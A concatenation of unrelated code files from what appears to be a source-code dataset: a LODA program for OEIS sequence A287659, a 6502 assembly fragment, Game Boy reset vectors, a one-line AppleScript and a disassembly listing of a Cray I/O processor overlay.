procedure Set_Time_Zone (Time_Zone : Time_Offset) is
begin
Offset := Time_Zone;
end Set_Time_Zone;
-----------------------------------------------------
end Reset_Date_Handler;
----------------------------------------------------------------------------
end Apsepp.Debug_Trace_Class;
|
programs/oeis/287/A287659.asm | karttu/loda | 0 | 170873 | ; A287659: Positions of 1 in A287657; complement of A287658.
; 2,3,6,8,9,12,13,16,18,19,22,24,25,28,29,32,34,35,38,39,42,44,45,48,50,51,54,55,58,60,61,64,66,67,70,71,74,76,77,80,81,84,86,87,90,92,93,96,97,100,102,103,106,107,110,112,113,116,118,119,122,123,126,128,129,132,134,135,138,139,142,144,145,148,149,152,154,155,158,160,161,164,165,168,170,171,174,176,177,180,181,184,186,187,190,191,194,196,197,200,202,203,206,207,210,212,213,216,217,220,222,223,226,228,229,232,233,236,238,239,242,244,245,248,249,252,254,255,258,259,262,264,265,268,270,271,274,275,278,280,281,284,285,288,290,291,294,296,297,300,301,304,306,307,310,312,313,316,317,320,322,323,326,327,330,332,333,336,338,339,342,343,346,348,349,352,354,355,358,359,362,364,365,368,369,372,374,375,378,380,381,384,385,388,390,391,394,395,398,400,401,404,406,407,410,411,414,416,417,420,422,423,426,427,430,432,433,436,437,440,442,443,446,448,449,452,453,456,458,459,462,464,465,468,469,472,474,475,478,479,482,484,485,488,490,491,494,495,498,500
mov $9,$0
mov $11,2
mov $13,$0
lpb $11,1
clr $0,9
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $4,$0
add $4,2
add $7,5
mul $7,$4
div $4,18
sub $7,1
sub $7,$4
div $7,8
mov $1,$7
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
add $1,1
mov $15,$13
mul $15,2
add $1,$15
|
src/main/fragment/mos6502-common/vdum1=vdum2_ror_7.asm | jbrandwood/kickc | 2 | 91135 | lda {m2}
asl
lda {m2}+1
rol
sta {m1}
lda {m2}+2
rol
sta {m1}+1
lda {m2}+3
rol
sta {m1}+2
lda #0
rol
sta {m1}+3 |
src/resets.asm | JL2210/ramdump | 0 | 97642 | ; Copyright 2020 <NAME>
;
; This file is part of RAMDump.
;
; RAMDump is licensed under the MIT license; for more details,
; see the file LICENSE in the root of this repository.
SECTION "resets", ROM0[$0000]
rst_00:
ret
ds 8 - (@ - rst_00)
rst_08:
ret
ds 8 - (@ - rst_08)
rst_10:
ret
ds 8 - (@ - rst_10)
rst_18:
ret
ds 8 - (@ - rst_18)
rst_20:
ret
ds 8 - (@ - rst_20)
rst_28:
ret
ds 8 - (@ - rst_28)
rst_30:
ret
ds 8 - (@ - rst_30)
rst_38:
ret
ds 8 - (@ - rst_38)
|
gmonth.applescript | emanuelbesliu/applescripts | 0 | 2677 | <reponame>emanuelbesliu/applescripts
set mnth to (get month of (current date)) as Unicode text
set the clipboard to mnth
|
target/cos_117/disasm/iop_overlay1/ASDOUT.asm | jrrk2/cray-sim | 49 | 19321 | 0x0000 (0x000000) 0x1025- f:00010 d: 37 | A = 37 (0x0025)
0x0001 (0x000002) 0x292A- f:00024 d: 298 | OR[298] = A
0x0002 (0x000004) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0003 (0x000006) 0x292B- f:00024 d: 299 | OR[299] = A
0x0004 (0x000008) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0005 (0x00000A) 0x292C- f:00024 d: 300 | OR[300] = A
0x0006 (0x00000C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0007 (0x00000E) 0x292D- f:00024 d: 301 | OR[301] = A
0x0008 (0x000010) 0x1084- f:00010 d: 132 | A = 132 (0x0084)
0x0009 (0x000012) 0x292E- f:00024 d: 302 | OR[302] = A
0x000A (0x000014) 0x211C- f:00020 d: 284 | A = OR[284]
0x000B (0x000016) 0x292F- f:00024 d: 303 | OR[303] = A
0x000C (0x000018) 0x211D- f:00020 d: 285 | A = OR[285]
0x000D (0x00001A) 0x2930- f:00024 d: 304 | OR[304] = A
0x000E (0x00001C) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x000F (0x00001E) 0x2931- f:00024 d: 305 | OR[305] = A
0x0010 (0x000020) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0011 (0x000022) 0x2932- f:00024 d: 306 | OR[306] = A
0x0012 (0x000024) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0013 (0x000026) 0x5800- f:00054 d: 0 | B = A
0x0014 (0x000028) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x0016 (0x00002C) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0017 (0x00002E) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x0018 (0x000030) 0x292A- f:00024 d: 298 | OR[298] = A
0x0019 (0x000032) 0x211C- f:00020 d: 284 | A = OR[284]
0x001A (0x000034) 0x292B- f:00024 d: 299 | OR[299] = A
0x001B (0x000036) 0x211D- f:00020 d: 285 | A = OR[285]
0x001C (0x000038) 0x292C- f:00024 d: 300 | OR[300] = A
0x001D (0x00003A) 0x211E- f:00020 d: 286 | A = OR[286]
0x001E (0x00003C) 0x292D- f:00024 d: 301 | OR[301] = A
0x001F (0x00003E) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0020 (0x000040) 0x292E- f:00024 d: 302 | OR[302] = A
0x0021 (0x000042) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0022 (0x000044) 0x292F- f:00024 d: 303 | OR[303] = A
0x0023 (0x000046) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0024 (0x000048) 0x5800- f:00054 d: 0 | B = A
0x0025 (0x00004A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0026 (0x00004C) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0027 (0x00004E) 0x211E- f:00020 d: 286 | A = OR[286]
0x0028 (0x000050) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0029 (0x000052) 0x2908- f:00024 d: 264 | OR[264] = A
0x002A (0x000054) 0x3108- f:00030 d: 264 | A = (OR[264])
0x002B (0x000056) 0x2920- f:00024 d: 288 | OR[288] = A
0x002C (0x000058) 0x211E- f:00020 d: 286 | A = OR[286]
0x002D (0x00005A) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x002E (0x00005C) 0x2908- f:00024 d: 264 | OR[264] = A
0x002F (0x00005E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0030 (0x000060) 0x2921- f:00024 d: 289 | OR[289] = A
0x0031 (0x000062) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0032 (0x000064) 0x2923- f:00024 d: 291 | OR[291] = A
0x0033 (0x000066) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0034 (0x000068) 0x2924- f:00024 d: 292 | OR[292] = A
0x0035 (0x00006A) 0x211E- f:00020 d: 286 | A = OR[286]
0x0036 (0x00006C) 0x290E- f:00024 d: 270 | OR[270] = A
0x0037 (0x00006E) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0038 (0x000070) 0x290D- f:00024 d: 269 | OR[269] = A
0x0039 (0x000072) 0x210D- f:00020 d: 269 | A = OR[269]
0x003A (0x000074) 0x8406- f:00102 d: 6 | P = P + 6 (0x0040), A = 0
0x003B (0x000076) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x003C (0x000078) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x003D (0x00007A) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x003E (0x00007C) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x003F (0x00007E) 0x7206- f:00071 d: 6 | P = P - 6 (0x0039)
0x0040 (0x000080) 0x211E- f:00020 d: 286 | A = OR[286]
0x0041 (0x000082) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0042 (0x000084) 0x2908- f:00024 d: 264 | OR[264] = A
0x0043 (0x000086) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0044 (0x000088) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0045 (0x00008A) 0x1027- f:00010 d: 39 | A = 39 (0x0027)
0x0046 (0x00008C) 0x292A- f:00024 d: 298 | OR[298] = A
0x0047 (0x00008E) 0x211C- f:00020 d: 284 | A = OR[284]
0x0048 (0x000090) 0x292B- f:00024 d: 299 | OR[299] = A
0x0049 (0x000092) 0x211D- f:00020 d: 285 | A = OR[285]
0x004A (0x000094) 0x292C- f:00024 d: 300 | OR[300] = A
0x004B (0x000096) 0x211E- f:00020 d: 286 | A = OR[286]
0x004C (0x000098) 0x292D- f:00024 d: 301 | OR[301] = A
0x004D (0x00009A) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x004E (0x00009C) 0x292E- f:00024 d: 302 | OR[302] = A
0x004F (0x00009E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0050 (0x0000A0) 0x292F- f:00024 d: 303 | OR[303] = A
0x0051 (0x0000A2) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0052 (0x0000A4) 0x5800- f:00054 d: 0 | B = A
0x0053 (0x0000A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0054 (0x0000A8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0055 (0x0000AA) 0x1025- f:00010 d: 37 | A = 37 (0x0025)
0x0056 (0x0000AC) 0x292A- f:00024 d: 298 | OR[298] = A
0x0057 (0x0000AE) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0058 (0x0000B0) 0x292B- f:00024 d: 299 | OR[299] = A
0x0059 (0x0000B2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x005A (0x0000B4) 0x292C- f:00024 d: 300 | OR[300] = A
0x005B (0x0000B6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x005C (0x0000B8) 0x292D- f:00024 d: 301 | OR[301] = A
0x005D (0x0000BA) 0x1083- f:00010 d: 131 | A = 131 (0x0083)
0x005E (0x0000BC) 0x292E- f:00024 d: 302 | OR[302] = A
0x005F (0x0000BE) 0x211C- f:00020 d: 284 | A = OR[284]
0x0060 (0x0000C0) 0x292F- f:00024 d: 303 | OR[303] = A
0x0061 (0x0000C2) 0x211D- f:00020 d: 285 | A = OR[285]
0x0062 (0x0000C4) 0x2930- f:00024 d: 304 | OR[304] = A
0x0063 (0x0000C6) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0064 (0x0000C8) 0x2931- f:00024 d: 305 | OR[305] = A
0x0065 (0x0000CA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0066 (0x0000CC) 0x2932- f:00024 d: 306 | OR[306] = A
0x0067 (0x0000CE) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0068 (0x0000D0) 0x5800- f:00054 d: 0 | B = A
0x0069 (0x0000D2) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x006B (0x0000D6) 0x7C09- f:00076 d: 9 | R = OR[9]
0x006C (0x0000D8) 0x2124- f:00020 d: 292 | A = OR[292]
0x006D (0x0000DA) 0x86B0- f:00103 d: 176 | P = P + 176 (0x011D), A # 0
0x006E (0x0000DC) 0x1025- f:00010 d: 37 | A = 37 (0x0025)
0x006F (0x0000DE) 0x292A- f:00024 d: 298 | OR[298] = A
0x0070 (0x0000E0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0071 (0x0000E2) 0x292B- f:00024 d: 299 | OR[299] = A
0x0072 (0x0000E4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0073 (0x0000E6) 0x292C- f:00024 d: 300 | OR[300] = A
0x0074 (0x0000E8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0075 (0x0000EA) 0x292D- f:00024 d: 301 | OR[301] = A
0x0076 (0x0000EC) 0x1081- f:00010 d: 129 | A = 129 (0x0081)
0x0077 (0x0000EE) 0x292E- f:00024 d: 302 | OR[302] = A
0x0078 (0x0000F0) 0x211C- f:00020 d: 284 | A = OR[284]
0x0079 (0x0000F2) 0x292F- f:00024 d: 303 | OR[303] = A
0x007A (0x0000F4) 0x211D- f:00020 d: 285 | A = OR[285]
0x007B (0x0000F6) 0x2930- f:00024 d: 304 | OR[304] = A
0x007C (0x0000F8) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x007D (0x0000FA) 0x2931- f:00024 d: 305 | OR[305] = A
0x007E (0x0000FC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x007F (0x0000FE) 0x2932- f:00024 d: 306 | OR[306] = A
0x0080 (0x000100) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0081 (0x000102) 0x5800- f:00054 d: 0 | B = A
0x0082 (0x000104) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x0084 (0x000108) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0085 (0x00010A) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x0086 (0x00010C) 0x292A- f:00024 d: 298 | OR[298] = A
0x0087 (0x00010E) 0x211C- f:00020 d: 284 | A = OR[284]
0x0088 (0x000110) 0x292B- f:00024 d: 299 | OR[299] = A
0x0089 (0x000112) 0x211D- f:00020 d: 285 | A = OR[285]
0x008A (0x000114) 0x292C- f:00024 d: 300 | OR[300] = A
0x008B (0x000116) 0x211E- f:00020 d: 286 | A = OR[286]
0x008C (0x000118) 0x292D- f:00024 d: 301 | OR[301] = A
0x008D (0x00011A) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x008E (0x00011C) 0x292E- f:00024 d: 302 | OR[302] = A
0x008F (0x00011E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0090 (0x000120) 0x292F- f:00024 d: 303 | OR[303] = A
0x0091 (0x000122) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0092 (0x000124) 0x5800- f:00054 d: 0 | B = A
0x0093 (0x000126) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0094 (0x000128) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0095 (0x00012A) 0x211E- f:00020 d: 286 | A = OR[286]
0x0096 (0x00012C) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x0097 (0x00012E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0098 (0x000130) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0099 (0x000132) 0x2924- f:00024 d: 292 | OR[292] = A
0x009A (0x000134) 0x211E- f:00020 d: 286 | A = OR[286]
0x009B (0x000136) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x009C (0x000138) 0x2908- f:00024 d: 264 | OR[264] = A
0x009D (0x00013A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x009E (0x00013C) 0x2929- f:00024 d: 297 | OR[297] = A
0x009F (0x00013E) 0x211E- f:00020 d: 286 | A = OR[286]
0x00A0 (0x000140) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013)
0x00A1 (0x000142) 0x2908- f:00024 d: 264 | OR[264] = A
0x00A2 (0x000144) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00A3 (0x000146) 0x2926- f:00024 d: 294 | OR[294] = A
0x00A4 (0x000148) 0x2129- f:00020 d: 297 | A = OR[297]
0x00A5 (0x00014A) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A7), A = 0
0x00A6 (0x00014C) 0x706D- f:00070 d: 109 | P = P + 109 (0x0113)
0x00A7 (0x00014E) 0x2126- f:00020 d: 294 | A = OR[294]
0x00A8 (0x000150) 0x8602- f:00103 d: 2 | P = P + 2 (0x00AA), A # 0
0x00A9 (0x000152) 0x7060- f:00070 d: 96 | P = P + 96 (0x0109)
0x00AA (0x000154) 0x2126- f:00020 d: 294 | A = OR[294]
0x00AB (0x000156) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x00AC (0x000158) 0x0803- f:00004 d: 3 | A = A > 3 (0x0003)
0x00AD (0x00015A) 0x2928- f:00024 d: 296 | OR[296] = A
0x00AE (0x00015C) 0x1025- f:00010 d: 37 | A = 37 (0x0025)
0x00AF (0x00015E) 0x292A- f:00024 d: 298 | OR[298] = A
0x00B0 (0x000160) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00B1 (0x000162) 0x292B- f:00024 d: 299 | OR[299] = A
0x00B2 (0x000164) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00B3 (0x000166) 0x292C- f:00024 d: 300 | OR[300] = A
0x00B4 (0x000168) 0x2120- f:00020 d: 288 | A = OR[288]
0x00B5 (0x00016A) 0x292D- f:00024 d: 301 | OR[301] = A
0x00B6 (0x00016C) 0x2121- f:00020 d: 289 | A = OR[289]
0x00B7 (0x00016E) 0x292E- f:00024 d: 302 | OR[302] = A
0x00B8 (0x000170) 0x211C- f:00020 d: 284 | A = OR[284]
0x00B9 (0x000172) 0x292F- f:00024 d: 303 | OR[303] = A
0x00BA (0x000174) 0x211D- f:00020 d: 285 | A = OR[285]
0x00BB (0x000176) 0x2930- f:00024 d: 304 | OR[304] = A
0x00BC (0x000178) 0x2128- f:00020 d: 296 | A = OR[296]
0x00BD (0x00017A) 0x2931- f:00024 d: 305 | OR[305] = A
0x00BE (0x00017C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00BF (0x00017E) 0x2932- f:00024 d: 306 | OR[306] = A
0x00C0 (0x000180) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x00C1 (0x000182) 0x5800- f:00054 d: 0 | B = A
0x00C2 (0x000184) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x00C4 (0x000188) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00C5 (0x00018A) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x00C6 (0x00018C) 0x292A- f:00024 d: 298 | OR[298] = A
0x00C7 (0x00018E) 0x211C- f:00020 d: 284 | A = OR[284]
0x00C8 (0x000190) 0x292B- f:00024 d: 299 | OR[299] = A
0x00C9 (0x000192) 0x211D- f:00020 d: 285 | A = OR[285]
0x00CA (0x000194) 0x292C- f:00024 d: 300 | OR[300] = A
0x00CB (0x000196) 0x211E- f:00020 d: 286 | A = OR[286]
0x00CC (0x000198) 0x292D- f:00024 d: 301 | OR[301] = A
0x00CD (0x00019A) 0x2128- f:00020 d: 296 | A = OR[296]
0x00CE (0x00019C) 0x292E- f:00024 d: 302 | OR[302] = A
0x00CF (0x00019E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D0 (0x0001A0) 0x292F- f:00024 d: 303 | OR[303] = A
0x00D1 (0x0001A2) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x00D2 (0x0001A4) 0x5800- f:00054 d: 0 | B = A
0x00D3 (0x0001A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D4 (0x0001A8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00D5 (0x0001AA) 0x744E- f:00072 d: 78 | R = P + 78 (0x0123)
0x00D6 (0x0001AC) 0x211E- f:00020 d: 286 | A = OR[286]
0x00D7 (0x0001AE) 0x290E- f:00024 d: 270 | OR[270] = A
0x00D8 (0x0001B0) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x00D9 (0x0001B2) 0x290D- f:00024 d: 269 | OR[269] = A
0x00DA (0x0001B4) 0x210D- f:00020 d: 269 | A = OR[269]
0x00DB (0x0001B6) 0x8406- f:00102 d: 6 | P = P + 6 (0x00E1), A = 0
0x00DC (0x0001B8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00DD (0x0001BA) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x00DE (0x0001BC) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x00DF (0x0001BE) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x00E0 (0x0001C0) 0x7206- f:00071 d: 6 | P = P - 6 (0x00DA)
0x00E1 (0x0001C2) 0x1027- f:00010 d: 39 | A = 39 (0x0027)
0x00E2 (0x0001C4) 0x292A- f:00024 d: 298 | OR[298] = A
0x00E3 (0x0001C6) 0x211C- f:00020 d: 284 | A = OR[284]
0x00E4 (0x0001C8) 0x292B- f:00024 d: 299 | OR[299] = A
0x00E5 (0x0001CA) 0x211D- f:00020 d: 285 | A = OR[285]
0x00E6 (0x0001CC) 0x292C- f:00024 d: 300 | OR[300] = A
0x00E7 (0x0001CE) 0x211E- f:00020 d: 286 | A = OR[286]
0x00E8 (0x0001D0) 0x292D- f:00024 d: 301 | OR[301] = A
0x00E9 (0x0001D2) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x00EA (0x0001D4) 0x292E- f:00024 d: 302 | OR[302] = A
0x00EB (0x0001D6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00EC (0x0001D8) 0x292F- f:00024 d: 303 | OR[303] = A
0x00ED (0x0001DA) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x00EE (0x0001DC) 0x5800- f:00054 d: 0 | B = A
0x00EF (0x0001DE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F0 (0x0001E0) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00F1 (0x0001E2) 0x1025- f:00010 d: 37 | A = 37 (0x0025)
0x00F2 (0x0001E4) 0x292A- f:00024 d: 298 | OR[298] = A
0x00F3 (0x0001E6) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00F4 (0x0001E8) 0x292B- f:00024 d: 299 | OR[299] = A
0x00F5 (0x0001EA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F6 (0x0001EC) 0x292C- f:00024 d: 300 | OR[300] = A
0x00F7 (0x0001EE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F8 (0x0001F0) 0x292D- f:00024 d: 301 | OR[301] = A
0x00F9 (0x0001F2) 0x1084- f:00010 d: 132 | A = 132 (0x0084)
0x00FA (0x0001F4) 0x292E- f:00024 d: 302 | OR[302] = A
0x00FB (0x0001F6) 0x211C- f:00020 d: 284 | A = OR[284]
0x00FC (0x0001F8) 0x292F- f:00024 d: 303 | OR[303] = A
0x00FD (0x0001FA) 0x211D- f:00020 d: 285 | A = OR[285]
0x00FE (0x0001FC) 0x2930- f:00024 d: 304 | OR[304] = A
0x00FF (0x0001FE) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x0100 (0x000200) 0x2931- f:00024 d: 305 | OR[305] = A
0x0101 (0x000202) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0102 (0x000204) 0x2932- f:00024 d: 306 | OR[306] = A
0x0103 (0x000206) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0104 (0x000208) 0x5800- f:00054 d: 0 | B = A
0x0105 (0x00020A) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x0107 (0x00020E) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0108 (0x000210) 0x700A- f:00070 d: 10 | P = P + 10 (0x0112)
0x0109 (0x000212) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x010A (0x000214) 0x292A- f:00024 d: 298 | OR[298] = A
0x010B (0x000216) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x010C (0x000218) 0x292B- f:00024 d: 299 | OR[299] = A
0x010D (0x00021A) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x010E (0x00021C) 0x5800- f:00054 d: 0 | B = A
0x010F (0x00021E) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x0111 (0x000222) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0112 (0x000224) 0x700A- f:00070 d: 10 | P = P + 10 (0x011C)
0x0113 (0x000226) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x0114 (0x000228) 0x292A- f:00024 d: 298 | OR[298] = A
0x0115 (0x00022A) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0116 (0x00022C) 0x292B- f:00024 d: 299 | OR[299] = A
0x0117 (0x00022E) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0118 (0x000230) 0x5800- f:00054 d: 0 | B = A
0x0119 (0x000232) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x011B (0x000236) 0x7C09- f:00076 d: 9 | R = OR[9]
0x011C (0x000238) 0x72B0- f:00071 d: 176 | P = P - 176 (0x006C)
0x011D (0x00023A) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x011E (0x00023C) 0x292A- f:00024 d: 298 | OR[298] = A
0x011F (0x00023E) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0120 (0x000240) 0x5800- f:00054 d: 0 | B = A
0x0121 (0x000242) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0122 (0x000244) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0123 (0x000246) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0124 (0x000248) 0x2927- f:00024 d: 295 | OR[295] = A
0x0125 (0x00024A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0126 (0x00024C) 0x291F- f:00024 d: 287 | OR[287] = A
0x0127 (0x00024E) 0x2126- f:00020 d: 294 | A = OR[294]
0x0128 (0x000250) 0x8430- f:00102 d: 48 | P = P + 48 (0x0158), A = 0
0x0129 (0x000252) 0x2127- f:00020 d: 295 | A = OR[295]
0x012A (0x000254) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x012B (0x000256) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x012C (0x000258) 0x290D- f:00024 d: 269 | OR[269] = A
0x012D (0x00025A) 0x310D- f:00030 d: 269 | A = (OR[269])
0x012E (0x00025C) 0x290D- f:00024 d: 269 | OR[269] = A
0x012F (0x00025E) 0x2127- f:00020 d: 295 | A = OR[295]
0x0130 (0x000260) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0131 (0x000262) 0x2908- f:00024 d: 264 | OR[264] = A
0x0132 (0x000264) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0133 (0x000266) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0134 (0x000268) 0x8604- f:00103 d: 4 | P = P + 4 (0x0138), A # 0
0x0135 (0x00026A) 0x210D- f:00020 d: 269 | A = OR[269]
0x0136 (0x00026C) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0137 (0x00026E) 0x290D- f:00024 d: 269 | OR[269] = A
0x0138 (0x000270) 0x210D- f:00020 d: 269 | A = OR[269]
0x0139 (0x000272) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x013A (0x000274) 0x2922- f:00024 d: 290 | OR[290] = A
0x013B (0x000276) 0x2D27- f:00026 d: 295 | OR[295] = OR[295] + 1
0x013C (0x000278) 0x2F26- f:00027 d: 294 | OR[294] = OR[294] - 1
0x013D (0x00027A) 0x2122- f:00020 d: 290 | A = OR[290]
0x013E (0x00027C) 0x1609- f:00013 d: 9 | A = A - 9 (0x0009)
0x013F (0x00027E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0141), A = 0
0x0140 (0x000280) 0x7010- f:00070 d: 16 | P = P + 16 (0x0150)
0x0141 (0x000282) 0x2123- f:00020 d: 291 | A = OR[291]
0x0142 (0x000284) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x0143 (0x000286) 0x2925- f:00024 d: 293 | OR[293] = A
0x0144 (0x000288) 0x2125- f:00020 d: 293 | A = OR[293]
0x0145 (0x00028A) 0x8603- f:00103 d: 3 | P = P + 3 (0x0148), A # 0
0x0146 (0x00028C) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0147 (0x00028E) 0x2925- f:00024 d: 293 | OR[293] = A
0x0148 (0x000290) 0x1020- f:00010 d: 32 | A = 32 (0x0020)
0x0149 (0x000292) 0x2922- f:00024 d: 290 | OR[290] = A
0x014A (0x000294) 0x2125- f:00020 d: 293 | A = OR[293]
0x014B (0x000296) 0x8404- f:00102 d: 4 | P = P + 4 (0x014F), A = 0
0x014C (0x000298) 0x7417- f:00072 d: 23 | R = P + 23 (0x0163)
0x014D (0x00029A) 0x2F25- f:00027 d: 293 | OR[293] = OR[293] - 1
0x014E (0x00029C) 0x7204- f:00071 d: 4 | P = P - 4 (0x014A)
0x014F (0x00029E) 0x7008- f:00070 d: 8 | P = P + 8 (0x0157)
0x0150 (0x0002A0) 0x2122- f:00020 d: 290 | A = OR[290]
0x0151 (0x0002A2) 0x160A- f:00013 d: 10 | A = A - 10 (0x000A)
0x0152 (0x0002A4) 0x8402- f:00102 d: 2 | P = P + 2 (0x0154), A = 0
0x0153 (0x0002A6) 0x7003- f:00070 d: 3 | P = P + 3 (0x0156)
0x0154 (0x0002A8) 0x7406- f:00072 d: 6 | R = P + 6 (0x015A)
0x0155 (0x0002AA) 0x7002- f:00070 d: 2 | P = P + 2 (0x0157)
0x0156 (0x0002AC) 0x740D- f:00072 d: 13 | R = P + 13 (0x0163)
0x0157 (0x0002AE) 0x7230- f:00071 d: 48 | P = P - 48 (0x0127)
0x0158 (0x0002B0) 0x7429- f:00072 d: 41 | R = P + 41 (0x0181)
0x0159 (0x0002B2) 0x0200- f:00001 d: 0 | EXIT
0x015A (0x0002B4) 0x100A- f:00010 d: 10 | A = 10 (0x000A)
0x015B (0x0002B6) 0x2922- f:00024 d: 290 | OR[290] = A
0x015C (0x0002B8) 0x7407- f:00072 d: 7 | R = P + 7 (0x0163)
0x015D (0x0002BA) 0x100D- f:00010 d: 13 | A = 13 (0x000D)
0x015E (0x0002BC) 0x2922- f:00024 d: 290 | OR[290] = A
0x015F (0x0002BE) 0x7404- f:00072 d: 4 | R = P + 4 (0x0163)
